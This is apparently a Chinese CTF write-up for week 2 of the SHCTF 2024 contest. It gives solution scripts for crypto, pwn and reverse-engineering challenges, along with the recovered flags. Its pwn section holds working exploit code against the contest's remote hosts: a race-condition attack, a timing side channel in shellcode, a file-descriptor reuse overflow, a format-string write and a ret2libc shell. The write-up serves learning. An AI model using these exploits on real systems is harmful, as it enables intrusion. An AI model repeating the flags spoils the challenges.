当前位置: 首页 > news >正文

[山河2024] week2

官方WP出得很快。对照官的写下私的。大概出入不大,毕竟第2周。后边的才难。

Crypto

E&R

RSA因子分解题,把q的2进制反转后与p异或。关于异或的题很多,这个还真是头一回见,不过爆破方法还是一样的。

r_q = int(bin(q)[2:][::-1] , 2)
leak = p ^^ r_q

爆破都比较简单分三步,

1是个递归,由于给的是异或所以每种情况两个值。

2是剪枝,爆破没有剪枝就不可能完成,毕竟有几百步。这里由于p和q是反的,所以要把q的尾部转成p的尾部(乘逆)然后判断全1是否不足N全0是否超N,过滤掉不接入正确值的分枝。

3是个cooper,也可以不用直接递归到底,不过一般差几百就可以直接出结果了。

def pq_xor(tp,tq,idx):global ok,cnt if ok:return #通过tq的尾部得到tp的尾部mod =2^idx p = int(tp,2)ql = int(tq[::-1],2)%modpl = N*inverse_mod(ql,mod)%modp += pl#通过p的尾部得到q的头部qh = (pl^^leak)%modprint(hex(qh),hex(pl), hex(mod),hex(pl^^leak))q = int((bin(qh)[2:].zfill(256))[::-1],2)+qlmid = int('1'*(256-2*idx) + '0'*idx,2)print(hex(mid))print(hex(p))print(hex(q))#过滤掉越界的部分if p*q>N:print('>')return False elif (p+mid)*(q+mid)<N:print('<')return False    if idx>=80:cnt += 1try:PR.<x> = PolynomialRing(Zmod(N))f = int(tp,2) + x*mod + pl print('Try', len(hex(p)))rr = f.monic().small_roots(X=2^(256-2*idx), beta=0.4)if rr != []:print(rr)print(tp)p = int(f(rr[0]))print('p = ',p)ok = Truereturnexcept:passreturnprint('idx',idx)if leak&(1<<(255-idx))==0:pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)else:pq_xor(tp[:idx]+'1'+tp[idx+1:], tq[:idx]+'0'+tq[idx+1:], idx+1)pq_xor(tp[:idx]+'0'+tp[idx+1:], tq[:idx]+'1'+tq[idx+1:], idx+1)returnleak = 5599968251197363876087002284371721787318931284225671549507477934076746561842
N = 7120275986401660066259983193598830554385933355254283093021239164350142898387660104515624591378875067038235085428170557400012848874756868985306042421950909ok = False
cnt = 0
tp = tq = '1'+'0'*255
pq_xor(tp,tq, 1)p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
d = invert(e,p-1)m2 = pow(c,d,p)
#3939513057628514533900105670644286436358199
long_to_bytes(int(m2))
b'-908f-7c002c687387'

后半部分是个椭圆出线P=e*G,其中曲线参数都给了n是上边这个n,m是G的x值,显然不是求私钥的题,是已知P求基点,乘e的E.order()的逆即可。

p = 64760524083545528318139240449356269097871629401328435356643510319660757701117
E = EllipticCurve(Zmod(p),[114514,1919810])
e_ = inverse_mod(e,E.order())
G = e_ * E(P)
long_to_bytes(int(G.xy()[0]))

padding

RSA在CTF里是个永恒的主题。这里flag有点长,然后加了padding,但是padding已经给了,所以未知部分并不太长,符合coopersmith的条件。

e = 0x3
pad = b'a_easy_problem'
c = pow(bytes_to_long(flag + pad),e,n)

所以直接cooper求解即可

n = 121610581737140600160984832143780045854376696605462678058314779684541675438360954665201512582717184846898732519886408218195115222060925767845182101140985619311569961917165751064108952508715526280654203536289957423921564359664115494280822305174952928768288903200070997282969262755970515223933920417266433278789
c = 56315992669696576544280004341339659214473025294542882124309146208269511334821601242728246283362133643638287054408079279238613115250993778355793431158445018157767456378641306161910716971442727571150196541091591821568737809034772939233013836870367817187622454372405657328507359960344342975570184378962591190001t = b'SHCTF{'+b'\x00'*32+b'}a_easy_problem'
t = bytes_to_long(t)
P.<x> = PolynomialRing(Zmod(n))
f =  (t+x*256^15)^3 - c
res = f.monic().small_roots(X=2^(8*32), beta=1, epsilon=0.05)
long_to_bytes(int(f(res[0])))

worde很大

已知e和dp分解n, dp = d mod (p-1) ,由于p-1是phi的因子,所以这里随便拿个数大概率g^t%n-1就是p 这里用d,dp效果都一样。

from gmpy2 import gcd
import random def e_dn(e_d,n):k=e_d-1while True:g= random.randint(2,n-1)t=kwhile True:if t%2!=0:breakt=t//2x=pow(g,t,n)if x > 1 and gcd(x-1, n) > 1:p=gcd(x-1,n)q=n//preturn p,q#这里的dp也能用
p,q=e_dn(e*dp,n)
m = pow(c,dp,p)
long_to_bytes(m)
#b'SHCTF{WoRD_E_y0u_Dlan_d4_0oG0C0}'

魔鬼的步伐

这里的漏洞在于p是由一堆小因子相乘后加1得到,也就是p-1光滑。

def get_Prime(bits):while True:n = 2while n.bit_length() < bits:n *= choice(primes)if isPrime(n + 1):return n + 1
#p+1光滑
import gmpy2
N = n
a = 2
k = 2
while True:a = pow(a, k, N)res = gmpy2.gcd(a-1, N)if res != 1 and res != N:q = N // resprint("k=",k)print("p=",res)print("q=",q)breakn += 1

ezECC

椭圆曲线的一些运算

m = next_prime(bytes_to_long(flag))
p = getPrime(512)
a,b = getPrime(128),getPrime(128)
E = EllipticCurve(Zmod(p),[a,b])
k = getPrime(256)
A1 = E.random_point()
A2 = A1*k
M = E.lift_x(m)
C = M+A2

行是求参,根据方程y^2=x^3+ax+b mod p ,已知2个点A1,C带入即可。

#y^2 = x^3 +a*x +b
#求参数
a = (A1[0]^3-C[0]^3 -A1[1]^2+C[1]^2)*inverse_mod(-A1[0]+C[0],p)%p
b = (-A1[0]^3 -a*A1[0] + A1[1]^2)%p

 然后是个减法,由于A1和k已知所以A2也算是已知直接乘,而椭圆曲线的减法可以直接减。

另外这里的x是next_prime(flag)所以有点小误差。

ec = E(C)
ea1 = E(A1)
ea2 = ea1*k
M = ec - ea2

PWN

easy_competition

关于资源共享的问题,输入会被存在共享内存里,检查后2秒才会执行,这样起两个进程,一个写个可以检查通过的值,然后第2个再写入超常的值,第1个进程会执行修改过的值(脏数据)从而绕过检查。

from pwn import *
context(arch='amd64', log_level='debug')p1 = remote('210.44.150.15', 46333)
p2 = remote('210.44.150.15', 46333)p1.send(p64(0))
p2.send(p64(0x404120))p1.interactive()

ez_sandbox

 沙箱题,只开了open+read没有输出就可能通过判断程序是否退出来确认对比值是否正确。官WP里用了:在正确时read,我一般用正确时循环。不过我这个不好,read会阻塞,不占资源而死循环会让CPU冒烟。

而这个题的后台可能因为循环造成的有问题,延时会不断增加,导至一会就会超过判断的阀值。所以还是用官WP里的read比较好。

from pwn import *
import time
context(arch='amd64', log_level='error')def getv(i,v):#p = process('./pwn')#gdb.attach(p,"b*0x5555555553e0\nc")p = remote('210.44.150.15', 45964)code = 'add rax,0x100; push rax;pop r15; add rax,0x100;push rax;pop r14;'+shellcraft.open('flag')+shellcraft.read('rax', 'r15', 0x50)code += f"\nmov al, byte ptr[r15+{i}]; mov bl,{v}; loop: cmp al,bl; jz loop; push 62;pop rax; syscall;"  #60 exit,62 kill,231 exit_groupp.send(asm(code))t = time.time()try:p.recv(timeout=4)#p.interactive()except:passk = time.time()-tprint(k)p.close()if k>4.0:return Trueelse:return False#getv(1, 0x66)
if 0:p = remote('210.44.150.15',44281)code = 'add rax,0x100; push rax;pop r15;'+shellcraft.open('flag')+'\nloop: cmp al,3; jz loop;mov rax,1;syscall;'p.send(asm(code))t = time.time()try:p.recvall(timeout=3)p.close()except:print('xxx')p.close()print(time.time()-t)#SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}
flag = 'SHCTF{S4ndB0X_4R3_maD3_OF_sAnd_df9c5c431b93}'
for i in range(len(flag), 70):for v in b'0123456789abcdef_{}ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-!?&^%$#@!~()+=':print(chr(v), end='')if getv(i,v):flag += chr(v)print(flag)breakprint(flag)

ezorw

 这题出的非常巧妙。main打开flag然后调用vuln,vuln会从标准输入读数据输出,然后关掉flag文件并清指针。

问题就在于清fd这。文件关闭后半不需要清理fd,它只是个编号并不是指针。

所以这题通过溢出重排下调用关系,vuln溢出将返回地址改为调用vuln前,这样执行完后并不重新打开文件而是重入,这时候读第2个payload正常的不用溢出,之后会执行关闭文件操作,由于文件并没有打开fd还是0,所以会关闭标准输入。再次再次执行打开文件时fd会使用0,然后就从0读出flag输出。

from pwn import *
context(arch='amd64', log_level='debug')p = remote('210.44.150.15', 49888)p.sendafter(b"Give you a gift\n", b'A'*0x18+b'\xbb')
sleep(0.5)
#close(0) 
p.send(b'A'*0x18+b'\x97')p.interactive()

json_printf

后边这两个题就没意思了,给了名字显然输入要求用json格式(猜,因为json解析那个函数很难看懂),然后就是一个简单的printf到门匙。

from pwn import *
context(arch='i386', log_level='debug')p = remote('210.44.150.15', 31325)p.sendlineafter(b"How to send data?\n", b'{"name":"%999c%10$n  '+p32(0x8052074)+b'","age":18}')p.interactive()

json_stackoverflow

为作新词强说愁。

from pwn import *
context(arch='i386', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')p = remote('210.44.150.15',22826)p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(elf.plt['puts'],0x8049432,elf.got['puts'])+b'","age":18}')
p.recvline()
p.recvline()
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")p.sendlineafter(b"How to send data?\n", b'{"name":"'+b'A'*0x4c+flat(libc.sym['system'],0x41414141,next(libc.search(b'/bin/sh\0')))+b'","age":18}')p.interactive()

REV

下周基本就是难题了,REV就作不了了。

Android?Harmony!

这个作了好几天。先改扩展名zip解两次,出来的.abc文件到网站上在线反编译。出来的代码巨难看。

大致理解成两块,其实是3块,所以一开始没作出来。代码太难看了,估计用编译工具优化后的会好点。

第1块是个迷宫,这个按层遍历就能弄到最优解。他没说是WASD还是0123所以flag不是路径。

msg = open('maze.py').readlines()maze = [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] = msg[i][j]xx = [[-1,0],[1,0],[0,-1],[0,1]]way = [['',[1,83]]]
ok = False
while True:tway = []for k in way:for i,x in enumerate(xx):fx,fy = k[1][0]+x[0], k[1][1]+x[1]if fx==77 and fy==1:print(k[0]+str(i))ok = Truebreakif maze[fx][fy] == ' ':maze[fx][fy] = 'X'tway.append([k[0]+str(i),[fx,fy]])if ok:breakif ok:breakway = tway.copy()#112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211  

第2块是一个encode函数解出来的东西很长,能看到除了SHCTF{}和-以外就是16进制字符。只是很难看出来是怎么组合的。

secretKey = "[f#fLw)??Pz?#9w)Du[ks[q[#w4D?4P4UJf,kU[f.rDkfwrDtq...)?J.#rP4[qrPDJkkJ|.9J|qffU?k|D4P4P[wkk.)k?JUJ[k#9kww[r??wUfw|PkrPUf.P#f.P#.PwJ4f4q.PU4UPDr9.[9fJ#PqP)cDDffJPDrJ.J4qPP[r[.JfJ4f|?U9#"b = bytes([(v-32-1919810)*39%95 + 32 for v in secretKey.encode()])
#b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc

第3块其实是关于组合的fillflag,他按行列在迷宫里找3、4叉路口。然后把字符放上去。

msg = open('maze.py').readlines()maze = [[0]*85 for i in range(85)]for i in range(85):for j in range(85):maze[i][j] = msg[i][j]way = '112211221133331122222222112211113333111111221133111111111122112222222211221133330033111111220022111133113311330000333311221133112211221133331122222200002211220022111133113333333333112222221133331133003300333311221133111122221122112211222200330000221122002211112211220022112211222222221133111122222222222222222200002211220000330000002211222222000033333333330022222222000000220000333333002200221122220000002200221111331122222211222200002200221111113311111122002211113311331122112222000000000022111111111111331133111122002211'ss = 'b4c4S20331H3cf208Cb9Tbebc2a83a1a6d4F96b45-8942-8{e55503d5c-1abe-18d99d75fd7e4463978a1a1b2995093d6db9cf922b-332642719-16451c451c512da4ae516a618-f5bf4dc1e10}8844d18-d5dae11b-b5d4da4736fc'.ljust(522,' ')#先将串放到至少3叉路口上 Fillflag,CheckGround
idx = 0
for i in range(1,84):for j in range(1,84):if maze[i][j] != ' ': continuew = 0if maze[i-1][j] == ' ': w+=1if maze[i+1][j] == ' ': w+=1if maze[i][j-1] == ' ': w+=1if maze[i][j+1] == ' ': w+=1if w>2:maze[i][j]=ss[idx]idx+=1#沿最短径收集flag字符
xx = [[-1,0],[1,0],[0,-1],[0,1]]
fx,fy = 1,83
flag = ''
for i in range(len(way)):if i>=len(ss): breakif maze[fx][fy] != ' ':flag += maze[fx][fy]else:maze[fx][fy] = '+'k = xx[int(way[i])]fx += k[0]fy += k[1]print(flag)
#SHCTF{81f6ad65-9da6-41ae-bd61-88dea61332f1}
open('m2.txt','w').write('\n'.join([''.join(maze[i])for i in range(85)]).replace('#','.'))

把字符和迷宫放在一张图上就能看到flag是这个路径上的字符。

Loader

loader把enc文件解密后载入执行,显然手工解密后基本就完成了。

#loaddata对enc解密后导入
v9 = [0xC, 0x42, 9, 3, 0, 0x25, 0xB, 0x15, 4]
data = open('enc','rb').read()
d = []
for i in range(len(data)):d.append(((data[i]-v9[(i+2)%9])^v9[i%9])&0xff)open('mm.dat','wb').write(bytes(d))

后边是个麻烦事,因为这个java的Random不大好模拟,只能用java写小段。

import java.util.Random;public class HelloWorld {public static void main(String []args) {String CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";Random random = new Random(4310);StringBuilder sb = new StringBuilder(12);for (int i3 = 0; i3 < 12; i3++) {sb.append(CHARACTERS.charAt(random.nextInt(CHARACTERS.length())));}System.out.println(sb.toString());}
}
//QdUOJ7V7Xruo
//SHCTF{QdUOJ7V7Xruo}

babytea

from ctypes import *
from pwn import p32'''v0 = *a1;v1 = a1[1];total = 0x8DDE2E40;for ( i = 0; i <= 0x3F; ++i ){v1 -= (((16 * v0) ^ (v0 >> 5)) + v0) ^ v0 ^ (*(_DWORD *)(4i64 * ((total >> 11) & 3) + key) + total);total += 0x61C88747;v0 -= (((16 * v1) ^ (v1 >> 5)) + v1) ^ v1 ^ (*(_DWORD *)(4i64 * (total & 3) + key) + total);}*a1 = v0;result = a1 + 1;a1[1] = v1;
'''
def decrypt(v, k):v0, v1 = c_uint32(v[0]), c_uint32(v[1])delta = 0x61C88747k0, k1, k2, k3 = k[0], k[1], k[2], k[3]cnt = 0x40total = c_uint32(0x8DDE2E40 + delta * cnt)for i in range(cnt):v0.value += (((v1.value<<4)^(v1.value>>5))+v1.value) ^ v1.value ^(k[total.value&3] + total.value) total.value -= deltav1.value += (((v0.value<<4)^(v0.value>>5))+v0.value) ^ v0.value ^(k[(total.value>>11)&3] + total.value)  return p32(v0.value)+p32(v1.value)  enc = [415425337,-380302974,277491959,25440477,-706848848,-734132416,-198189596,-1769437464,-438862983,1750955407]
key = [1,1,2,3]flag = b''.join([decrypt(enc[i:i+2],key) for i in range(0,10,2)])
print(flag)
#shctf{962fd-464d-8f4f-f1fd-a6a0c987c569}

cancanneed

AES加密,没有key

在win11的机子上用jadx可以看到 res/raw/xxnd.jpg这张图,实际找不到叫这个名字,从目录里找到两张一样的图。从图上取key来解密。

from base64 import b64decode
from Crypto.Cipher import AES
from hashlib import md5enc = "7zkErqD/oevxjIIjgJswFk3+vDgw5tvK3Cgr/GIYeZEQ5Gq/6v9LPTiUswKcx5ha"
enc = b64decode(enc)#/res/raw/xxnd.jpg 到res目录下找到看上去一样的两张图片(相同)
key = open('x4.jpg','rb').read()[2080:2080+16]aes = AES.new(key,AES.MODE_ECB)
flag = aes.decrypt(enc)
print(flag)#SHCTF{Yu_@re_Very_N8_oF_@nDr01d}

花语

就是花指令专对夫ida的。找到反编译不成功的地方,手工nop掉就OK了,加密很简单

a = [i for i in "!}ggagllllff_fau_hisY_keF{CTSH"]
for j in range(14):k = a[29-j]a[29-j]=a[j]a[j]=kfor i in range(0,29,2):k = a[i]a[i]=a[i+1]a[i+1]=k''.join(a)
#SHCTF{keY_is_hua_fffllllaggg!}

相关文章:

[山河2024] week2

官方WP出得很快。对照官的写下私的。大概出入不大&#xff0c;毕竟第2周。后边的才难。 Crypto E&R RSA因子分解题&#xff0c;把q的2进制反转后与p异或。关于异或的题很多&#xff0c;这个还真是头一回见&#xff0c;不过爆破方法还是一样的。 r_q int(bin(q)[2:][::…...

无限可能LangChain——开启大模型世界

什么是大语言模型&#xff1f; 大语言模型是一种人工智能模型&#xff0c;通常使用深度学习技术&#xff08;如神经网络&#xff09;来理解和生成人类语言。这些模型拥有非常多的参数&#xff0c;可以达到数十亿甚至更多&#xff0c;使得它们能够处理高度复杂的语言模式。 我…...

URL路径以及Tomcat本身引入的jar包会导致的 SpringMVC项目 404问题、Tomcat调试日志的开启及总结

一、URL路径导致的 SpringMVC项目 404问题 SpringMVC项目的各项代码都没有问题&#xff0c;但是在页面请求时仍然显示404&#xff0c;编译的时候报了下面的问题&#xff1a; org.apache.jasper.servlet.TldScanner.scanJars 至少有一个JAR被扫描用于TLD但尚未包含TLD。 为此记录…...

如何引起Java中的System.in.read()函数的异常

演示的为:关闭标准输入流System.in后再调用System.in.read就会报出IOException import java.io.IOException; import java.io.InputStream;public class Test {public static void main(String[] args) {InputStream in System.in;try {in.close();System.in.read();}catch (…...

深入理解Flutter鸿蒙next版本 中的Widget继承:使用extends获取数据与父类约束

目录 写在前面 什么是Widget继承&#xff1f; 基本概念 StatelessWidget与StatefulWidget build方法 创建自定义Widget 1. 继承StatelessWidget 2. 继承StatefulWidget并访问父类的约束 3. 继承其他自定义Widget并获取数据 写在最后 写在前面 在Flutter中&#xff0c…...

Loss:Focal Loss for Dense Object Detection

目录 3. 焦点损失(Focal Loss)3.1. 平衡交叉熵3.2. 焦点损失定义3.3. 类别不平衡与模型初始化3.4. 类别不平衡与两阶段检测器4. RetinaNet 检测器。4.1. 推理与训练。3. 焦点损失(Focal Loss) 焦点损失(Focal Loss)旨在解决单阶段目标检测场景中训练时前景和背景类别之间…...

Unity3D中Excel表格的数据处理模块详解

前言 在Unity3D项目中&#xff0c;处理Excel表格数据是一项常见且重要的任务。通过Excel表格&#xff0c;我们可以方便地管理游戏配置、角色属性等数据内容。本文将详细介绍如何在Unity3D中实现Excel表格的数据处理模块&#xff0c;包括技术详解和代码实现。 对惹&#xff0c…...

【python】OpenCV—Fun Mirrors

文章目录 1、准备工作2、原理介绍3、代码实现4、效果展示5、参考 1、准备工作 pip install vacm2、原理介绍 在OpenCV中&#xff0c;VCAM 库是一个用于简化创建三维曲面、定义虚拟摄像机、设置参数以及进行投影任务的工具。它特别适用于实现如哈哈镜等图像变形效果。 一、VC…...

QT IEEE754 16进制浮点数据转成10进制

IEEE754标准转换QT代码 qtcreator使用的ieee754标准的4字节数组与浮点数之间的转换方法&#xff0c;ieee754的4位数组如果转换成二进制后&#xff0c;大体结构是&#xff1a; 位序号12-910-32意义 符号位&#xff0c; 正数为0&#xff0c;负数为1. 指数位&#xff0c; 指数是…...

无人机+视频推流直播EasyCVR视频汇聚/EasyDSS平台在森林防护巡检中的解决方案

随着科技的飞速发展&#xff0c;无人机技术在各个领域的应用日益广泛&#xff0c;特别是在森林防护与巡检方面&#xff0c;无人机以其独特的优势&#xff0c;为传统林业管理带来了革命性的变化。本文将探讨无人机在森林防护巡检中的解决方案&#xff0c;分析其工作原理、优势及…...

Rancher—多集群Kubernetes管理平台

目录 一、Rancher 简介1.1 Rancher 和 k8s 的区别 二、Rancher 安装及配置2.1 安装 rancher2.2 登录 Rancher 平台2.3 Rancher 管理已存在的 k8s 集群2.4 创建名称空间 namespace2.5 创建 Deployment 资源2.6 创建 service2.7 Rancher 部署监控系统 一、Rancher 简介 Rancher …...

使用多IP香港站群服务器对网站管理seo优化提升排名有益处

在网站管理和优化中&#xff0c;选择合适的服务器是至关重要的。针对某些特定需求&#xff0c;使用多IP香港站群服务器可以带来明显的益处。本文将探讨使用多IP香港站群服务器 对网站管理的明显益处&#xff0c;并介绍其中的关键要点和优势。 I. 理解多IP香港站群服务器 1. 多I…...

网管平台(基础篇):网管系统的重要性

网管系统的核心地位&#xff1a;数字世界的稳定舵手 在信息技术日新月异的今天&#xff0c;网络如同一条无形的纽带&#xff0c;将世界紧密相连。然而&#xff0c;这条纽带背后隐藏着无数复杂的节点与链路&#xff0c;如何确保它们高效、稳定地运行&#xff0c;成为了一个亟待解…...

Ubuntu20.04下安装多CUDA版本,以及后续切换卸载

本方案的前提是假设机子上已经有一个版本的cuda&#xff0c;现在需要支持新的torch2.1.2和torchvision0.16.2&#xff0c;于是来安装新的cuda 一、选择版本 如果我想安装支持torch2.1.2的cuda版本&#xff0c;到官网&#xff08;https://pytorch.org/get-started/previous-ve…...

图像处理高频面试题及答案

目录 高频面试题及答案1. 什么是图像处理?2. 什么是图像的分辨率?3. 图像的颜色空间是什么?4. 什么是边缘检测,为什么重要?5. 解释一下图像增强的常见方法。6. 什么是图像的直方图?7. 什么是图像的去噪声?8. 什么是图像分割,常用的方法有哪些?9. 图像滤波的目的是什么…...

尤雨溪都打赏的虚拟列表组件,到底有多强

尤雨溪都打赏的虚拟列表组件&#xff0c;到底有多强&#xff1f; 在前端开发中&#xff0c;性能优化永远是绕不开的主题。今天就带你看看 vue-virtual-scroller&#xff0c;一款让你滚动页面时流畅得像火箭一样的 Vue 组件。本文将简单介绍这个组件的主要功能、技术特点&#x…...

FrameWork使用EfCore数据库映射举例

Microsoft.EntityFrameworkCore新的版本不支持FrameWork框架。 这里举例使用旧版本实现数据存取 首先下载 Microsoft.EntityFrameworkCore 版本控制在2.1.14以下 同样下载Microsoft.EntityFrameworkCore.sqlite 举例时间记录 public class RunTimeInfo{[Key]public int Id { g…...

汽车与航空领域的功能安全对比:ISO 26262-6 与 DO-178C 的差异浅析

ISO 26262-6 和 DO-178C &#xff08;航空系统与设备认证中的软件考量&#xff09;。是汽车和航空领域分别广泛应用的软件安全标准。它们的共同目标是确保系统软件可靠性&#xff0c;减少系统软件故障对生命安全的威胁&#xff0c;但在具体的软件安全方案和规范实施上存在明显的…...

linux命令之lspci用法

lspci 显示当前主机的所有PCI总线信息 补充说明 lspci命令 用于显示当前主机的所有PCI总线信息&#xff0c;以及所有已连接的PCI设备信息。 语法 lspci(选项)选项 -n&#xff1a;以数字方式显示PCI厂商和设备代码&#xff1b; -t&#xff1a;以树状结构显示PCI设备的层次…...

虚幻闪烁灯光材质

创建一个材质 材质域改成光照函数 , Time让材质动起来 参数B用来控制速度 , Sine 让灯光闪烁 , Frac 增加了闪烁细节 把材质放到灯光材质上 效果还是挺不错的! 可以用于一些恐怖游戏~...

零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?

一、核心优势&#xff1a;专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发&#xff0c;是一款收费低廉但功能全面的Windows NAS工具&#xff0c;主打“无学习成本部署” 。与其他NAS软件相比&#xff0c;其优势在于&#xff1a; 无需硬件改造&#xff1a;将任意W…...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器

第一章 引言&#xff1a;语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域&#xff0c;文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量&#xff0c;支撑着搜索引擎、推荐系统、…...

零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

视频行为标注工具BehaviLabel(源码+使用介绍+Windows.Exe版本)

前言&#xff1a; 最近在做行为检测相关的模型&#xff0c;用的是时空图卷积网络&#xff08;STGCN&#xff09;&#xff0c;但原有kinetic-400数据集数据质量较低&#xff0c;需要进行细粒度的标注&#xff0c;同时粗略搜了下已有开源工具基本都集中于图像分割这块&#xff0c…...

【JVM面试篇】高频八股汇总——类加载和类加载器

目录 1. 讲一下类加载过程&#xff1f; 2. Java创建对象的过程&#xff1f; 3. 对象的生命周期&#xff1f; 4. 类加载器有哪些&#xff1f; 5. 双亲委派模型的作用&#xff08;好处&#xff09;&#xff1f; 6. 讲一下类的加载和双亲委派原则&#xff1f; 7. 双亲委派模…...

LOOI机器人的技术实现解析:从手势识别到边缘检测

LOOI机器人作为一款创新的AI硬件产品&#xff0c;通过将智能手机转变为具有情感交互能力的桌面机器人&#xff0c;展示了前沿AI技术与传统硬件设计的完美结合。作为AI与玩具领域的专家&#xff0c;我将全面解析LOOI的技术实现架构&#xff0c;特别是其手势识别、物体识别和环境…...

【Elasticsearch】Elasticsearch 在大数据生态圈的地位 实践经验

Elasticsearch 在大数据生态圈的地位 & 实践经验 1.Elasticsearch 的优势1.1 Elasticsearch 解决的核心问题1.1.1 传统方案的短板1.1.2 Elasticsearch 的解决方案 1.2 与大数据组件的对比优势1.3 关键优势技术支撑1.4 Elasticsearch 的竞品1.4.1 全文搜索领域1.4.2 日志分析…...

离线语音识别方案分析

随着人工智能技术的不断发展&#xff0c;语音识别技术也得到了广泛的应用&#xff0c;从智能家居到车载系统&#xff0c;语音识别正在改变我们与设备的交互方式。尤其是离线语音识别&#xff0c;由于其在没有网络连接的情况下仍然能提供稳定、准确的语音处理能力&#xff0c;广…...